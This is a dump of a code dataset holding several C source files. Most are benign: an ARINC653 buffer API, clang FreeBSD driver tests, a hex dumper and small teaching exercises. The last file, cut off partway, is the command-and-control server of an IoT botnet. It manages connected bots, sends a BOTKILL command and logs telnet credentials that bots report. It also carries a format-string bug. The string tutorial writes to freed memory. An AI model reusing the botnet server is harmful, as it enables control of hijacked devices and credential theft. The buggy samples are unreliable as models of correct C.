file
stringlengths 18
26
| data
stringlengths 2
1.05M
|
|---|---|
the_stack_data/145452810.c | /*
* POK header
*
* The following file is a part of the POK project. Any modification should
* be made according to the POK licence. You CANNOT use this file or a part
* of a file for your own project.
*
* For more information on the POK licence, please see our LICENCE FILE
*
* Please follow the coding guidelines described in doc/CODING_GUIDELINES
*
* Copyright (c) 2007-2021 POK team
*/
#ifdef POK_NEEDS_ARINC653_BUFFER
#include <arinc653/buffer.h>
#include <arinc653/types.h>
#include <middleware/buffer.h>
#include <middleware/port.h>
#include <types.h>
void CREATE_BUFFER(
/*in */ BUFFER_NAME_TYPE BUFFER_NAME,
/*in */ MESSAGE_SIZE_TYPE MAX_MESSAGE_SIZE,
/*in */ MESSAGE_RANGE_TYPE MAX_NB_MESSAGE,
/*in */ QUEUING_DISCIPLINE_TYPE QUEUING_DISCIPLINE,
/*out*/ BUFFER_ID_TYPE *BUFFER_ID,
/*out*/ RETURN_CODE_TYPE *RETURN_CODE) {
pok_ret_t core_ret;
pok_buffer_id_t core_id;
pok_queueing_discipline_t core_discipline;
switch (QUEUING_DISCIPLINE) {
case PRIORITY:
core_discipline = POK_QUEUEING_DISCIPLINE_PRIORITY;
break;
case FIFO:
core_discipline = POK_QUEUEING_DISCIPLINE_FIFO;
break;
default:
*RETURN_CODE = INVALID_PARAM;
return;
}
core_ret = pok_buffer_create(BUFFER_NAME, MAX_MESSAGE_SIZE * MAX_NB_MESSAGE,
MAX_MESSAGE_SIZE, core_discipline, &core_id);
*BUFFER_ID = core_id;
*RETURN_CODE = core_ret;
}
void SEND_BUFFER(
/*in */ BUFFER_ID_TYPE BUFFER_ID,
/*in */ MESSAGE_ADDR_TYPE MESSAGE_ADDR, /* by reference */
/*in */ MESSAGE_SIZE_TYPE LENGTH,
/*in */ SYSTEM_TIME_TYPE TIME_OUT,
/*out*/ RETURN_CODE_TYPE *RETURN_CODE) {
pok_ret_t core_ret;
core_ret = pok_buffer_send(BUFFER_ID, MESSAGE_ADDR, LENGTH, TIME_OUT);
*RETURN_CODE = core_ret;
}
void RECEIVE_BUFFER(
/*in */ BUFFER_ID_TYPE BUFFER_ID,
/*in */ SYSTEM_TIME_TYPE TIME_OUT,
/*out*/ MESSAGE_ADDR_TYPE MESSAGE_ADDR,
/*out*/ MESSAGE_SIZE_TYPE *LENGTH,
/*out*/ RETURN_CODE_TYPE *RETURN_CODE) {
pok_ret_t core_ret;
pok_port_size_t core_size;
core_ret = pok_buffer_receive(BUFFER_ID, TIME_OUT, MESSAGE_ADDR, &core_size);
*LENGTH = (APEX_INTEGER)core_size;
*RETURN_CODE = core_ret;
}
void GET_BUFFER_ID(
/*in */ BUFFER_NAME_TYPE BUFFER_NAME,
/*out*/ BUFFER_ID_TYPE *BUFFER_ID,
/*out*/ RETURN_CODE_TYPE *RETURN_CODE) {
(void)BUFFER_NAME;
(void)BUFFER_ID;
*RETURN_CODE = NOT_AVAILABLE;
}
void GET_BUFFER_STATUS(
/*in */ BUFFER_ID_TYPE BUFFER_ID,
/*out*/ BUFFER_STATUS_TYPE *BUFFER_STATUS,
/*out*/ RETURN_CODE_TYPE *RETURN_CODE) {
(void)BUFFER_ID;
(void)BUFFER_STATUS;
*RETURN_CODE = NOT_AVAILABLE;
}
#endif
|
the_stack_data/211081010.c | #include <stdio.h>
#include <stdlib.h>
int main(int argc, char* argv[]) {
// check if filename provided
if (argc < 2) {
fprintf(stderr, "Usage: %s <filaname>\n", argv[0]);
exit(1);
}
//open file in binary mode
FILE *fp = fopen(argv[1], "rb");
// check if opened
if (fp == NULL) {
fprintf(stderr, "Unable to open file: %s\n", argv[1]);
exit(1);
}
// create a buffer
char buf[BUFSIZ];
int len;
while ((len = fread(buf, sizeof(char), BUFSIZ, fp)) != 0) {
// print on console
for (int i = 0; i < len; i++) {
printf("%x", buf[i]);
}
}
// close file
fclose(fp);
return 0;
}
|
the_stack_data/234517962.c | // RUN: %clang -no-canonical-prefixes \
// RUN: -target aarch64-pc-freebsd11 %s \
// RUN: --sysroot=%S/Inputs/basic_freebsd64_tree -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-ARM64 %s
// CHECK-ARM64: "-cc1" "-triple" "aarch64-pc-freebsd11"
// CHECK-ARM64: ld{{.*}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-ARM64: "--eh-frame-hdr" "-dynamic-linker" "{{.*}}ld-elf{{.*}}" "-o" "a.out" "{{.*}}crt1.o" "{{.*}}crti.o" "{{.*}}crtbegin.o" "-L[[SYSROOT]]/usr/lib" "{{.*}}.o" "-lgcc" "--as-needed" "-lgcc_s" "--no-as-needed" "-lc" "-lgcc" "--as-needed" "-lgcc_s" "--no-as-needed" "{{.*}}crtend.o" "{{.*}}crtn.o"
//
// RUN: %clang -no-canonical-prefixes \
// RUN: -target powerpc-pc-freebsd8 %s \
// RUN: --sysroot=%S/Inputs/basic_freebsd_tree -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-PPC %s
// CHECK-PPC: "-cc1" "-triple" "powerpc-pc-freebsd8"
// CHECK-PPC: ld{{.*}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-PPC: "--eh-frame-hdr" "-dynamic-linker" "{{.*}}ld-elf{{.*}}" "-o" "a.out" "{{.*}}crt1.o" "{{.*}}crti.o" "{{.*}}crtbegin.o" "-L[[SYSROOT]]/usr/lib" "{{.*}}.o" "-lgcc" "--as-needed" "-lgcc_s" "--no-as-needed" "-lc" "-lgcc" "--as-needed" "-lgcc_s" "--no-as-needed" "{{.*}}crtend.o" "{{.*}}crtn.o"
//
// RUN: %clang -no-canonical-prefixes \
// RUN: -target powerpc64-pc-freebsd8 %s \
// RUN: --sysroot=%S/Inputs/basic_freebsd64_tree -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-PPC64 %s
// CHECK-PPC64: "-cc1" "-triple" "powerpc64-pc-freebsd8"
// CHECK-PPC64: ld{{.*}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-PPC64: "--eh-frame-hdr" "-dynamic-linker" "{{.*}}ld-elf{{.*}}" "-o" "a.out" "{{.*}}crt1.o" "{{.*}}crti.o" "{{.*}}crtbegin.o" "-L[[SYSROOT]]/usr/lib" "{{.*}}.o" "-lgcc" "--as-needed" "-lgcc_s" "--no-as-needed" "-lc" "-lgcc" "--as-needed" "-lgcc_s" "--no-as-needed" "{{.*}}crtend.o" "{{.*}}crtn.o"
// RUN: %clang -no-canonical-prefixes \
// RUN: -target powerpc64le-unknown-freebsd13 %s \
// RUN: --sysroot=%S/Inputs/basic_freebsd64_tree -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-PPC64LE %s
// CHECK-PPC64LE: "-cc1" "-triple" "powerpc64le-unknown-freebsd13"
// CHECK-PPC64LE: ld{{.*}}" "--sysroot=[[SYSROOT:[^"]+]]"
// CHECK-PPC64LE: "--eh-frame-hdr" "-dynamic-linker" "{{.*}}ld-elf{{.*}}" "-o" "a.out" "{{.*}}crt1.o" "{{.*}}crti.o" "{{.*}}crtbegin.o" "-L[[SYSROOT]]/usr/lib" "{{.*}}.o" "-lgcc" "--as-needed" "-lgcc_s" "--no-as-needed" "-lc" "-lgcc" "--as-needed" "-lgcc_s" "--no-as-needed" "{{.*}}crtend.o" "{{.*}}crtn.o"
//
// Check that -m32 properly adjusts the toolchain flags.
//
// RUN: %clang -no-canonical-prefixes -target x86_64-pc-freebsd8 -m32 %s \
// RUN: --sysroot=%S/Inputs/multiarch_freebsd64_tree -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-LIB32 %s
// CHECK-LIB32: "-cc1" "-triple" "i386-pc-freebsd8"
// CHECK-LIB32: ld{{.*}}" {{.*}} "-m" "elf_i386_fbsd"
//
// RUN: %clang -target x86_64-pc-freebsd8 -m32 %s 2>&1 \
// RUN: --sysroot=%S/Inputs/multiarch_freebsd64_tree -print-search-dirs 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-LIB32PATHS %s
// CHECK-LIB32PATHS: libraries: ={{.*:?}}/usr/lib32
//
// Check that O32 MIPS uses /usr/lib32 on a 64-bit tree.
//
// RUN: %clang -target mips-freebsd12 %s \
// RUN: --sysroot=%S/Inputs/multiarch_freebsd64_tree -print-search-dirs 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-LIB32PATHS %s
//
// Check that MIPS passes the correct linker emulation.
//
// RUN: %clang -target mips-freebsd %s -### %s 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-MIPS-LD %s
// CHECK-MIPS-LD: ld{{.*}}" {{.*}} "-m" "elf32btsmip_fbsd"
// RUN: %clang -target mipsel-freebsd %s -### %s 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-MIPSEL-LD %s
// CHECK-MIPSEL-LD: ld{{.*}}" {{.*}} "-m" "elf32ltsmip_fbsd"
// RUN: %clang -target mips64-freebsd %s -### %s 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-MIPS64-LD %s
// CHECK-MIPS64-LD: ld{{.*}}" {{.*}} "-m" "elf64btsmip_fbsd"
// RUN: %clang -target mips64el-freebsd %s -### %s 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-MIPS64EL-LD %s
// CHECK-MIPS64EL-LD: ld{{.*}}" {{.*}} "-m" "elf64ltsmip_fbsd"
// RUN: %clang -target mips64-freebsd -mabi=n32 %s -### %s 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-MIPSN32-LD %s
// CHECK-MIPSN32-LD: ld{{.*}}" {{.*}} "-m" "elf32btsmipn32_fbsd"
// RUN: %clang -target mips64el-freebsd -mabi=n32 %s -### %s 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-MIPSN32EL-LD %s
// CHECK-MIPSN32EL-LD: ld{{.*}}" {{.*}} "-m" "elf32ltsmipn32_fbsd"
//
// Check that RISC-V passes the correct linker emulation.
//
// RUN: %clang -target riscv32-freebsd %s -### %s 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-RV32I-LD %s
// CHECK-RV32I-LD: ld{{.*}}" {{.*}} "-m" "elf32lriscv"
// RUN: %clang -target riscv64-freebsd %s -### %s 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-RV64I-LD %s
// CHECK-RV64I-LD: ld{{.*}}" {{.*}} "-m" "elf64lriscv"
//
// Check that the new linker flags are passed to FreeBSD
// RUN: %clang -no-canonical-prefixes -target x86_64-pc-freebsd8 -m32 %s \
// RUN: --sysroot=%S/Inputs/multiarch_freebsd64_tree -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-LDFLAGS8 %s
// RUN: %clang -no-canonical-prefixes -target x86_64-pc-freebsd9 -m32 %s \
// RUN: --sysroot=%S/Inputs/multiarch_freebsd64_tree -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-LDFLAGS9 %s
// RUN: %clang -no-canonical-prefixes -target x86_64-pc-freebsd10.0 -m32 %s \
// RUN: --sysroot=%S/Inputs/multiarch_freebsd64_tree -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-LDFLAGS9 %s
// CHECK-LDFLAGS8-NOT: --hash-style=both
// CHECK-LDFLAGS8: --enable-new-dtags
// CHECK-LDFLAGS9: --hash-style=both
// CHECK-LDFLAGS9: --enable-new-dtags
//
// Check that we do not pass --hash-style=gnu and --hash-style=both to linker
// and provide correct path to the dynamic linker for MIPS platforms.
// Also verify that we tell the assembler to target the right ISA and ABI.
// RUN: %clang %s -### -o %t.o 2>&1 \
// RUN: -target mips-unknown-freebsd10.0 \
// RUN: | FileCheck --check-prefix=CHECK-MIPS %s
// CHECK-MIPS: "{{[^" ]*}}ld{{[^" ]*}}"
// CHECK-MIPS: "-dynamic-linker" "{{.*}}/libexec/ld-elf.so.1"
// CHECK-MIPS-NOT: "--hash-style={{gnu|both}}"
// RUN: %clang %s -### -o %t.o 2>&1 \
// RUN: -target mipsel-unknown-freebsd10.0 \
// RUN: | FileCheck --check-prefix=CHECK-MIPSEL %s
// CHECK-MIPSEL: "{{[^" ]*}}ld{{[^" ]*}}"
// CHECK-MIPSEL: "-dynamic-linker" "{{.*}}/libexec/ld-elf.so.1"
// CHECK-MIPSEL-NOT: "--hash-style={{gnu|both}}"
// RUN: %clang %s -### 2>&1 \
// RUN: -target mips64-unknown-freebsd10.0 \
// RUN: | FileCheck --check-prefix=CHECK-MIPS64 %s
// CHECK-MIPS64: "{{[^" ]*}}ld{{[^" ]*}}"
// CHECK-MIPS64: "-dynamic-linker" "{{.*}}/libexec/ld-elf.so.1"
// CHECK-MIPS64-NOT: "--hash-style={{gnu|both}}"
// RUN: %clang %s -### 2>&1 \
// RUN: -target mips64el-unknown-freebsd10.0 \
// RUN: | FileCheck --check-prefix=CHECK-MIPS64EL %s
// CHECK-MIPS64EL: "{{[^" ]*}}ld{{[^" ]*}}"
// CHECK-MIPS64EL: "-dynamic-linker" "{{.*}}/libexec/ld-elf.so.1"
// CHECK-MIPS64EL-NOT: "--hash-style={{gnu|both}}"
// RUN: %clang -no-canonical-prefixes -target x86_64-pc-freebsd8 -static %s \
// RUN: --sysroot=%S/Inputs/multiarch_freebsd64_tree -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-STATIC %s
// CHECK-STATIC: ld{{.*}}" "--eh-frame-hdr" "-Bstatic"
// CHECK-STATIC: crt1.o
// CHECK-STATIC: crtbeginT.o
// RUN: %clang -no-canonical-prefixes -target x86_64-pc-freebsd8 -shared %s \
// RUN: --sysroot=%S/Inputs/multiarch_freebsd64_tree -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-SHARED %s
// CHECK-SHARED: crti.o
// CHECK-SHARED: crtbeginS.o
// RUN: %clang -no-canonical-prefixes -target x86_64-pc-freebsd8 -pie %s \
// RUN: --sysroot=%S/Inputs/multiarch_freebsd64_tree -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-PIE %s
// CHECK-PIE: pie
// CHECK-PIE: Scrt1.o
// CHECK-PIE: crtbeginS.o
// RUN: %clang -no-canonical-prefixes -target x86_64-pc-freebsd8 %s \
// RUN: --sysroot=%S/Inputs/multiarch_freebsd64_tree -### 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-NORMAL %s
// CHECK-NORMAL: crt1.o
// CHECK-NORMAL: crtbegin.o
// RUN: %clang %s -### -target arm-unknown-freebsd10.0 -no-integrated-as 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-ARM %s
// CHECK-ARM: "-cc1"{{.*}}" "-fsjlj-exceptions"
// CHECK-ARM: as{{.*}}" "-mfpu=softvfp"{{.*}}"-matpcs"
// CHECK-ARM-EABI-NOT: as{{.*}}" "-mfpu=vfp"
// RUN: %clang %s -### -target arm-gnueabi-freebsd10.0 -no-integrated-as 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-ARM-EABI %s
// CHECK-ARM-EABI-NOT: "-cc1"{{.*}}" "-fsjlj-exceptions"
// CHECK-ARM-EABI: as{{.*}}" "-mfpu=softvfp" "-meabi=5"
// CHECK-ARM-EABI-NOT: as{{.*}}" "-mfpu=vfp"
// CHECK-ARM-EABI-NOT: as{{.*}}" "-matpcs"
// RUN: %clang %s -### -target arm-gnueabihf-freebsd10.0 -no-integrated-as 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-ARM-EABIHF %s
// CHECK-ARM-EABIHF-NOT: "-cc1"{{.*}}" "-fsjlj-exceptions"
// CHECK-ARM-EABIHF: as{{.*}}" "-mfpu=vfp" "-meabi=5"
// CHECK-ARM-EABIHF-NOT: as{{.*}}" "-mfpu=softvfp"
// CHECK-ARM-EABIHF-NOT: as{{.*}}" "-matpcs"
// RUN: %clang -target sparc-unknown-freebsd8 %s -### -fpic -no-integrated-as 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-SPARC-PIE %s
// CHECK-SPARC-PIE: as{{.*}}" "-KPIC
// RUN: %clang -mcpu=ultrasparc -target sparc64-unknown-freebsd8 %s -### -no-integrated-as 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-SPARC-CPU %s
// CHECK-SPARC-CPU: cc1{{.*}}" "-target-cpu" "ultrasparc"
// CHECK-SPARC-CPU: as{{.*}}" "-Av9a
// Check that -G flags are passed to the linker for mips
// RUN: %clang -target mips-unknown-freebsd %s -### -G0 2>&1 \
// RUN: | FileCheck --check-prefix=CHECK-MIPS-G %s
// CHECK-MIPS-G: ld{{.*}}" "-G0"
// Check CPU type for MIPS
// RUN: %clang -target mips-unknown-freebsd -### -c %s 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-MIPS-CPU %s
// RUN: %clang -target mipsel-unknown-freebsd -### -c %s 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-MIPS-CPU %s
// CHECK-MIPS-CPU: "-target-cpu" "mips2"
// Check CPU type for MIPS64
// RUN: %clang -target mips64-unknown-freebsd -### -c %s 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-MIPS64-CPU %s
// RUN: %clang -target mips64el-unknown-freebsd -### -c %s 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-MIPS64-CPU %s
// CHECK-MIPS64-CPU: "-target-cpu" "mips3"
// Check that the integrated assembler is enabled for SPARC64
// RUN: %clang -target sparc64-unknown-freebsd -### -c %s 2>&1 \
// RUN: | FileCheck -check-prefix=CHECK-IAS %s
// CHECK-IAS-NOT: "-no-integrated-as"
// RUN: %clang -target ppc64-unknown-freebsd13.0 -### -S %s 2>&1 | \
// RUN: FileCheck -check-prefix=PPC64-MUNWIND %s
// PPC64-MUNWIND: -munwind-table
|
the_stack_data/61188.c | /*
This function decrypts an encrypted text given a key.
Logic is the very same as the encrypting function.
The only difference, is that additions and subtractions are reversed.
*/
void decifratura(char testo_criptato[], char chiave[], char *testo_decriptato)
{
char temp;
int i,j=0, size_testo;
size_testo=strlen(testo_criptato);
for (i=0;i<=size_testo;i++)
{
if (chiave[j] > 90 || chiave[j] < 65)
j=0;
temp = chiave[j] - 65;
if (testo_criptato[i] - temp < 65)
testo_decriptato[i] = testo_criptato[i] - temp + 26;
else
testo_decriptato[i] = testo_criptato[i] - temp;
j++;
}
}
|
the_stack_data/80746.c | #include <stdio.h>
#include <stdlib.h>
#include <string.h> //strlen,strcmp,strcat,strcpy and more ....
//there is no string type - instead of it You have to use char array
int length(char * str)
{
int l=0;
while (*str++!=0)l++; //*str points to the next character
return l;
}
int main()
{
//char str1[80]; //it would be an 80 characters long empty "string", - it is empty
char str1[]="Hello world"; //it's length is the length of the text
printf("The content of variable str1: \'%s\'\n",str1);
//1. parameter formatstring, next parameter(s) variables
//%s = string, %i = integer \n = new line e.g.
printf("The length of variable str1 \'%s\'\n %i (with length()), %i (with strlen())\n",str1,length(str1),strlen(str1));
//The end of a string is a 0 character
//There is the function strlen!! in string.h
char* str2; //it is a pointer variable (we have to allocate memory)
str2=str1; //the pointer shows to the same memory place
printf("The content of variable str2 \'%s\' is the same as str1 \'%s\' \n(pointing the same memory place)\n",str2,str1);
int i;
for (i=0; i<3; i++)
{
str2=(char*)malloc(80*sizeof(char)); //allocate new memory
free(str2);
}
//calloc, realloc, free - functions for allocating memory and freeing up the memory
str2[0]='O'; //to write value character by character
str2[1]='S';
str2[2]=0; //at the end of a string there is a 0 character!
printf("We've given value character by character - str2: \'%s\'\n",str2); //new content
strcpy(str2,"New content by using strcpy");
printf("The new content of variable str2: \'%s\'\n",str2); //new content
//instead of giving value character by character use function in string.h
//important other functions: strcmp, strcat, strlen;
free(str2);
return 0;
}
|
the_stack_data/45815.c | #include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <fcntl.h>
#include <signal.h>
#include <sys/wait.h>
typedef int piped_t[2];
typedef struct {
long int c1;
long int c2;
} item;
int main(int argc, char** argv){
int N = argc - 1;
if(N < 2 || N % 2 != 0){
printf("N dev'essere maggiore/uguale a 2 e pari!");
exit(1);
}
piped_t* pipes = (piped_t*) malloc(sizeof(piped_t) * N);
if(!pipes){
printf("errore nell'allocazione delle pipe");
exit(2);
}
for(int i = 0; i < N; i++){
if(pipe(pipes[i]) < 0){
printf("errore nella generazione delle pipe");
exit(2);
}
}
for(int i = 0; i < N; i++){
int P = fork();
if(P < 0) exit(2);
if(P == 0){
for(int j = 0; j < N; j++){
close(pipes[j][0]);
if(j != i) close(pipes[j][1]);
}
char* filename = argv[i + 1];
int is_even = !(i % 2);
long int c1 = 0, c2 = 0;
int fd = open(filename, O_RDONLY);
if(fd < 0) exit(-1);
char buf;
long int position;
while(read(fd, &buf, sizeof(char))){
if(is_even){
if(position % 2 == 0){
if(buf % 2 == 0) c1++;
else c2++;
}
}else{
if(position % 2 != 0){
if(buf % 2 == 0) c2++;
else c1++;
}
}
position++;
}
item sendable = { .c1 = c1, .c2 = c2 };
write(pipes[i][1], &sendable, sizeof(sendable));
(is_even) ? exit(c1 < c2) : exit(c2 > c1);
}
close(pipes[i][1]);
}
printf("stampa figli pari\n");
for(int i = 0; i < N; i += 2){
// solo figli pari
item* sent = malloc(sizeof(item));
read(pipes[i][0], sent, sizeof(item));
printf("figlio di indice %d ha riportato c1 = %ld e c2 = %ld\n", i, sent->c1, sent->c2);
}
printf("\nstampa figli dispari\n");
for(int i = 1; i < N; i += 2){
// solo figli dispari
item* sent = malloc(sizeof(item));
read(pipes[i][0], sent, sizeof(item));
printf("figlio di indice %d ha riportato c1 = %ld e c2 = %ld\n", i, sent->c1, sent->c2);
}
printf("\n");
for(int i = 0; i < N; i++){
int pid, status;
if((pid = wait(&status)) < 0){
printf("errore in wait");
exit(2);
}
printf("%d ritorna %d\n", pid, WEXITSTATUS(status));
}
} |
the_stack_data/92327784.c | /*
* Program from Fig.1 of
* 2004LICS - Podelski, Rybalchenko - Transition Invariants
*
* Date: 2014
* Author: Caterina Urban
*/
typedef enum {false, true} bool;
extern int __VERIFIER_nondet_int(void);
int main() {
int x, y;
x = __VERIFIER_nondet_int();
y = __VERIFIER_nondet_int();
while (x >= 0) {
y = 1;
while (y < x) {
y = 2*y;
}
x = x - 1;
}
return 0;
}
|
the_stack_data/90763170.c | #include <math.h>
float modff(float x, float i[static 1])
{
*i = truncf(x);
return copysignf(isinf(x) ? 0 : x - *i, x);
}
|
the_stack_data/232954380.c | #include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <inttypes.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <unistd.h>
#include <time.h>
#include <fcntl.h>
#include <sys/epoll.h>
#include <errno.h>
#include <pthread.h>
#include <signal.h>
#include <arpa/inet.h>
#define MAXFDS 1000000
//
//
//
//
//
//
//
//
//
//
//
struct login_info {
char username[100];
char password[100];
};
static struct login_info accounts[100];
struct clientdata_t {
uint32_t ip;
char connected;
} clients[MAXFDS];
struct telnetdata_t {
int connected;
} managements[MAXFDS];
struct args {
int sock;
struct sockaddr_in cli_addr;
};
static volatile FILE *telFD;
static volatile FILE *fileFD;
static volatile FILE *ticket;
static volatile FILE *staff;
static volatile int epollFD = 0;
static volatile int listenFD = 0;
static volatile int OperatorsConnected = 0;
static volatile int TELFound = 0;
static volatile int scannerreport;
int fdgets(unsigned char *buffer, int bufferSize, int fd) {
int total = 0, got = 1;
while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
return got;
}
void trim(char *str) {
int i;
int begin = 0;
int end = strlen(str) - 1;
while (isspace(str[begin])) begin++;
while ((end >= begin) && isspace(str[end])) end--;
for (i = begin; i <= end; i++) str[i - begin] = str[i];
str[i - begin] = '\0';
}
static int make_socket_non_blocking (int sfd) {
int flags, s;
flags = fcntl (sfd, F_GETFL, 0);
if (flags == -1) {
perror ("fcntl");
return -1;
}
flags |= O_NONBLOCK;
s = fcntl (sfd, F_SETFL, flags);
if (s == -1) {
perror ("fcntl");
return -1;
}
return 0;
}
static int create_and_bind (char *port) {
struct addrinfo hints;
struct addrinfo *result, *rp;
int s, sfd;
memset (&hints, 0, sizeof (struct addrinfo));
hints.ai_family = AF_UNSPEC;
hints.ai_socktype = SOCK_STREAM;
hints.ai_flags = AI_PASSIVE;
s = getaddrinfo (NULL, port, &hints, &result);
if (s != 0) {
fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
return -1;
}
for (rp = result; rp != NULL; rp = rp->ai_next) {
sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
if (sfd == -1) continue;
int yes = 1;
if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
if (s == 0) {
break;
}
close (sfd);
}
if (rp == NULL) {
fprintf (stderr, "Could not bind\n");
return -1;
}
freeaddrinfo (result);
return sfd;
}
void broadcast(char *msg, int us, char *sender)
{
int sendMGM = 1;
if(strcmp(msg, "PING") == 0) sendMGM = 0;
char *wot = malloc(strlen(msg) + 10);
memset(wot, 0, strlen(msg) + 10);
strcpy(wot, msg);
trim(wot);
time_t rawtime;
struct tm * timeinfo;
time(&rawtime);
timeinfo = localtime(&rawtime);
char *timestamp = asctime(timeinfo);
trim(timestamp);
int i;
for(i = 0; i < MAXFDS; i++)
{
if(i == us || (!clients[i].connected)) continue;
if(sendMGM && managements[i].connected)
{
send(i, "\x1b[1;31m", 9, MSG_NOSIGNAL);
send(i, sender, strlen(sender), MSG_NOSIGNAL);
send(i, ": ", 2, MSG_NOSIGNAL);
}
send(i, msg, strlen(msg), MSG_NOSIGNAL);
send(i, "\n", 1, MSG_NOSIGNAL);
}
free(wot);
}
void *BotEventLoop(void *useless) {
struct epoll_event event;
struct epoll_event *events;
int s;
events = calloc (MAXFDS, sizeof event);
while (1) {
int n, i;
n = epoll_wait (epollFD, events, MAXFDS, -1);
for (i = 0; i < n; i++) {
if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
clients[events[i].data.fd].connected = 0;
close(events[i].data.fd);
continue;
}
else if (listenFD == events[i].data.fd) {
while (1) {
struct sockaddr in_addr;
socklen_t in_len;
int infd, ipIndex;
in_len = sizeof in_addr;
infd = accept (listenFD, &in_addr, &in_len);
if (infd == -1) {
if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
else {
perror ("accept");
break;
}
}
clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
int dup = 0;
for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
if(!clients[ipIndex].connected || ipIndex == infd) continue;
if(clients[ipIndex].ip == clients[infd].ip) {
dup = 1;
break;
}}
if(dup) {
if(send(infd, "!* BOTKILL\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
close(infd);
continue;
}
s = make_socket_non_blocking (infd);
if (s == -1) { close(infd); break; }
event.data.fd = infd;
event.events = EPOLLIN | EPOLLET;
s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
if (s == -1) {
perror ("epoll_ctl");
close(infd);
break;
}
clients[infd].connected = 1;
}
continue;
}
else {
int datafd = events[i].data.fd;
struct clientdata_t *client = &(clients[datafd]);
int done = 0;
client->connected = 1;
while (1) {
ssize_t count;
char buf[2048];
memset(buf, 0, sizeof buf);
while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
if(strstr(buf, "\n") == NULL) { done = 1; break; }
trim(buf);
if(strcmp(buf, "PING") == 0) {
if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
continue;
}
if(strstr(buf, "REPORT ") == buf) {
char *line = strstr(buf, "REPORT ") + 7;
fprintf(telFD, "%s\n", line);
fflush(telFD);
TELFound++;
continue;
}
if(strstr(buf, "PROBING") == buf) {
char *line = strstr(buf, "PROBING");
scannerreport = 1;
continue;
}
if(strstr(buf, "REMOVING PROBE") == buf) {
char *line = strstr(buf, "REMOVING PROBE");
scannerreport = 0;
continue;
}
if(strcmp(buf, "PONG") == 0) {
continue;
}
printf("buf: \"%s\"\n", buf);
}
if (count == -1) {
if (errno != EAGAIN) {
done = 1;
}
break;
}
else if (count == 0) {
done = 1;
break;
}
if (done) {
client->connected = 0;
close(datafd);
}
}
}
}
}
}
unsigned int BotsConnected() {
int i = 0, total = 0;
for(i = 0; i < MAXFDS; i++) {
if(!clients[i].connected) continue;
total++;
}
return total;
}
int Find_Login(char *str) {
FILE *fp;
int line_num = 0;
int find_result = 0, find_line=0;
char temp[512];
if((fp = fopen("User_Info.txt", "r")) == NULL){
return(-1);
}
while(fgets(temp, 512, fp) != NULL){
if((strstr(temp, str)) != NULL){
find_result++;
find_line = line_num;
}
line_num++;
}
if(fp)
fclose(fp);
if(find_result == 0)return 0;
return find_line;
}
void *BotWorker(void *sock) {
int datafd = (int)sock;
int find_line;
OperatorsConnected++;
pthread_t title;
char buf[2048];
char* username;
char* password;
memset(buf, 0, sizeof buf);
char botnet[2048];
memset(botnet, 0, 2048);
char botcount [2048];
memset(botcount, 0, 2048);
char statuscount [2048];
memset(statuscount, 0, 2048);
FILE *fp;
int i=0;
int c;
fp=fopen("User_Info.txt", "r");
while(!feof(fp)) {
c=fgetc(fp);
++i;
}
int j=0;
rewind(fp);
while(j!=i-1) {
fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
++j;
}
char clearscreen [2048];
memset(clearscreen, 0, 2048);
sprintf(clearscreen, "\033[1A");
char user [5000];
sprintf(user, "\e[1;31mEnter Username~#:\e[0m\e[30m: ");
if(send(datafd, user, strlen(user), MSG_NOSIGNAL) == -1) goto end;
if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
trim(buf);
char* nickstring;
sprintf(accounts[find_line].username, buf);
